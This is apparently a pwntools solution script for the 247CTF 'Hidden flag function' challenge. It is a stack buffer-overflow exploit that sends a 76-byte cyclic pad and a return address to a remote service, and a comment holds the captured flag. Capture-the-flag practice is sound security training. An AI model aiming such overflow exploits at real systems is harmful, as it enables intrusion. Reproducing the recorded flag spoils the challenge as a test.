Hidden flag function
from pwn import *
io = remote('513cee9f2f0c29f5.247ctf.com', 50166)
# io = process('./hidden_flag_function')
# io = gdb.debug('./hidden_flag_function', 'b*chall+46')
payload = cyclic(76)
payload += p32(0x08048576)
io.sendline(payload)
io.interactive()
# 247CTF{b1c2cb7d5a43939f8dc73369ec2dd59d}